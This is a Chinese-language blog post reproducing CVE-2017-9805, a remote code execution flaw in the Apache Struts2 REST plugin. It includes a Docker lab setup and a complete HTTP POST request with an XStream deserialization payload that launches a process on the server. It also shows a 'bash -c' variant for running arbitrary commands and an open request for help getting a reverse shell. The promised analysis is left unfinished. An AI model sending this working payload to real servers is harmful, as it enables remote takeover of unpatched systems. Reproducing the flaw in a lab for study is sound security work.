热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

CVE20179805(Struts2漏洞复现与分析)

前天发布的新漏洞,以前Struts的漏洞也是经常出,今年三月份就有一次。但这类的洞一直没有跟进,今天也是想着把它给复现一下,

前天发布的新漏洞,以前Struts的漏洞也是经常出,今年三月份就有一次。但这类的洞一直没有跟进,今天也是想着把它给复现一下,同时搭个环境分析一下漏洞形成的原因。


0x01 漏洞简介

漏洞背景 2017年9月5日,Apache官方发布了一则公告,该公告称Apache Struts2的REST插件存在远程代码执行的高危漏洞,CVE编号为CVE-2017-9805。 Struts2 REST插件的XStream组件存在反序列化漏洞,使用带有 XStream实例的 XStreamHandler进行反序列化操作时,未对数据内容进行有效验证,存在安全隐患,可被远程攻击。


0x02 环境搭建


env版本
docker16.04
jdk1.8.0_144
struts源码2.5.12
tomcat8.0.46

直接从官网下载相对应的源码


0x1 dockerfile

FROM ubuntu:16.04 MAINTAINER 4t10n <act01n&#64;163.com>
ENV DEBIAN_FRONTEND noninteractive RUN sed -i &#39;s/archive.ubuntu.com/mirrors.ustc.edu.cn/g&#39; /etc/apt/sources.listRUN apt-get update -y \&& apt-get install unzip\&& apt-get install net-toolsWORKDIR /tmp
COPY ./apache-tomcat-8.0.46.tar.gz /tmp/
COPY ./jdk.tar.gz /tmp/
COPY ./struts.zip /tmp/
COPY ./cmd.sh /tmp/
RUN chmod a&#43;x cmd.sh EXPOSE 8080CMD ["/bin/bash","/tmp/cmd.sh"]

cmd.sh

tar -xz -f jdk.tar.gz -C /usr/local/
tar -xz -f apache-tomcat-8.0.46.tar.gz -C /usr/local/
unzip struts.zip -d /usr/local/apache-tomcat-8.0.46/webappsmv /usr/local/apache-tomcat-8.0.46/webapps/struts-2.5.12/apps/struts2-rest-showcase.war ./../../
# setup jdk
echo &#39;&#39;&#39;
JAVA_HOME&#61;/usr/local/jdk1.8.0_144
JAVA_BIN&#61;/usr/local/jdk1.8.0_144/bin
PATH&#61;$PATH:$JAVA_BIN
CLASSPATH&#61;$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jar
export JAVA_HOME JAVA_BIN PATH CLASSPATH
&#39;&#39;&#39;>>/etc/profile
source /etc/profile
/usr/local/apache-tomcat-8.0.46/bin/startup.sh/bin/bash

相关源码在Github上


0x2 攻击代码

这里只是生成一个文件4ct10n

POST /struts2-rest-showcase/orders/3 HTTP/1.1
Host: 192.168.43.165:8989
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml&#43;xml,application/xml;q&#61;0.9,*/*;q&#61;0.8
Accept-Language: en-US,en;q&#61;0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.43.165:8989/struts2-rest-showcase/orders/3/edit
COOKIE: JSESSIONID&#61;31A64A6CF6021DA63449D6DDEF10202F
Connection: close
Content-Type: application/xml
Content-Length: 1656<map>
<entry>
<jdk.nashorn.internal.objects.NativeString> <flags>0flags>
<value class&#61;"com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class&#61;"com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class&#61;"javax.crypto.CipherInputStream"> <cipher class&#61;"javax.crypto.NullCipher"> <initialized>falseinitialized> <opmode>0opmode> <serviceIterator class&#61;"javax.imageio.spi.FilterIterator"> <iter class&#61;"javax.imageio.spi.FilterIterator"> <iter class&#61;"java.util.Collections$EmptyIterator"/> <next class&#61;"java.lang.ProcessBuilder"> <command><string>/usr/bin/touchstring><string>/home/4ct10nstring> command> <redirectErrorStream>falseredirectErrorStream> next> iter> <filter class&#61;"javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilderclass> <name>startname> <parameter-types/> method> <name>fooname> filter> <next class&#61;"string">foonext> serviceIterator> <lock/> cipher> <input class&#61;"java.lang.ProcessBuilder$NullInputStream"/> <ibuffer>ibuffer> <done>falsedone> <ostart>0ostart> <ofinish>0ofinish> <closed>falseclosed> is> <consumed>falseconsumed> dataSource> <transferFlavors/> dataHandler> <dataLen>0dataLen> value> jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference&#61;"../jdk.nashorn.internal.objects.NativeString"/> entry> <entry> <jdk.nashorn.internal.objects.NativeString reference&#61;"../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference&#61;"../../entry/jdk.nashorn.internal.objects.NativeString"/>
entry>
map>

这里写图片描述

这里写图片描述


0x3 攻击后续

其实在正真测试的时候已近发现了一些指令受了限制&#xff0c;但是一开始并没有进行研究&#xff0c;今天瞅了一眼freebuf文章&#xff0c;看是已经能够执行任何指令&#xff0c;这里是连接

我在这也是实验了一发&#xff0c;试了一下文中说的其他指令&#xff0c;但唯独shell反弹没有成功

文中主要说的利用方法是利用bash -c指令
具体格式如下

<command>
<string>bashstring>
<string>-cstring>
<string>echo asd >/tmp/4ct10nstring>
command>

这里写图片描述

怎么反弹shell ……. &#xff0c;在线等


0x02 漏洞分析

未完待续


推荐阅读
  • 在Kubernetes上部署JupyterHub的步骤和实验依赖
    本文介绍了在Kubernetes上部署JupyterHub的步骤和实验所需的依赖,包括安装Docker和K8s,使用kubeadm进行安装,以及更新下载的镜像等。 ... [详细]
  • 在Docker中,将主机目录挂载到容器中作为volume使用时,常常会遇到文件权限问题。这是因为容器内外的UID不同所导致的。本文介绍了解决这个问题的方法,包括使用gosu和suexec工具以及在Dockerfile中配置volume的权限。通过这些方法,可以避免在使用Docker时出现无写权限的情况。 ... [详细]
  • 向QTextEdit拖放文件的方法及实现步骤
    本文介绍了在使用QTextEdit时如何实现拖放文件的功能,包括相关的方法和实现步骤。通过重写dragEnterEvent和dropEvent函数,并结合QMimeData和QUrl等类,可以轻松实现向QTextEdit拖放文件的功能。详细的代码实现和说明可以参考本文提供的示例代码。 ... [详细]
  • 基于Socket的多个客户端之间的聊天功能实现方法
    本文介绍了基于Socket的多个客户端之间实现聊天功能的方法,包括服务器端的实现和客户端的实现。服务器端通过每个用户的输出流向特定用户发送消息,而客户端通过输入流接收消息。同时,还介绍了相关的实体类和Socket的基本概念。 ... [详细]
  • 本文整理了Java中java.lang.NoSuchMethodError.getMessage()方法的一些代码示例,展示了NoSuchMethodErr ... [详细]
  • 本文介绍了在实现了System.Collections.Generic.IDictionary接口的泛型字典类中如何使用foreach循环来枚举字典中的键值对。同时还讨论了非泛型字典类和泛型字典类在foreach循环中使用的不同类型,以及使用KeyValuePair类型在foreach循环中枚举泛型字典类的优势。阅读本文可以帮助您更好地理解泛型字典类的使用和性能优化。 ... [详细]
  • CSS3选择器的使用方法详解,提高Web开发效率和精准度
    本文详细介绍了CSS3新增的选择器方法,包括属性选择器的使用。通过CSS3选择器,可以提高Web开发的效率和精准度,使得查找元素更加方便和快捷。同时,本文还对属性选择器的各种用法进行了详细解释,并给出了相应的代码示例。通过学习本文,读者可以更好地掌握CSS3选择器的使用方法,提升自己的Web开发能力。 ... [详细]
  • eclipse学习(第三章:ssh中的Hibernate)——11.Hibernate的缓存(2级缓存,get和load)
    本文介绍了eclipse学习中的第三章内容,主要讲解了ssh中的Hibernate的缓存,包括2级缓存和get方法、load方法的区别。文章还涉及了项目实践和相关知识点的讲解。 ... [详细]
  • 本文讨论了一个关于cuowu类的问题,作者在使用cuowu类时遇到了错误提示和使用AdjustmentListener的问题。文章提供了16个解决方案,并给出了两个可能导致错误的原因。 ... [详细]
  • 本文介绍了Swing组件的用法,重点讲解了图标接口的定义和创建方法。图标接口用来将图标与各种组件相关联,可以是简单的绘画或使用磁盘上的GIF格式图像。文章详细介绍了图标接口的属性和绘制方法,并给出了一个菱形图标的实现示例。该示例可以配置图标的尺寸、颜色和填充状态。 ... [详细]
  • 本文介绍了使用Python解析C语言结构体的方法,包括定义基本类型和结构体类型的字典,并提供了一个示例代码,展示了如何解析C语言结构体。 ... [详细]
  • 纠正网上的错误:自定义一个类叫java.lang.System/String的方法
    本文纠正了网上关于自定义一个类叫java.lang.System/String的错误答案,并详细解释了为什么这种方法是错误的。作者指出,虽然双亲委托机制确实可以阻止自定义的System类被加载,但通过自定义一个特殊的类加载器,可以绕过双亲委托机制,达到自定义System类的目的。作者呼吁读者对网上的内容持怀疑态度,并带着问题来阅读文章。 ... [详细]
  • 本文介绍了Android中的assets目录和raw目录的共同点和区别,包括获取资源的方法、目录结构的限制以及列出资源的能力。同时,还解释了raw目录中资源文件生成的ID,并说明了这些目录的使用方法。 ... [详细]
  • 本文介绍了解决java开源项目apache commons email简单使用报错的方法,包括使用正确的JAR包和正确的代码配置,以及相关参数的设置。详细介绍了如何使用apache commons email发送邮件。 ... [详细]
  • 本文介绍了在Ubuntu 11.10 x64环境下安装Android开发环境的步骤,并提供了解决常见问题的方法。其中包括安装Eclipse的ADT插件、解决缺少GEF插件的问题以及解决无法找到'userdata.img'文件的问题。此外,还提供了相关插件和系统镜像的下载链接。 ... [详细]
author-avatar
手机用户2502922177
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有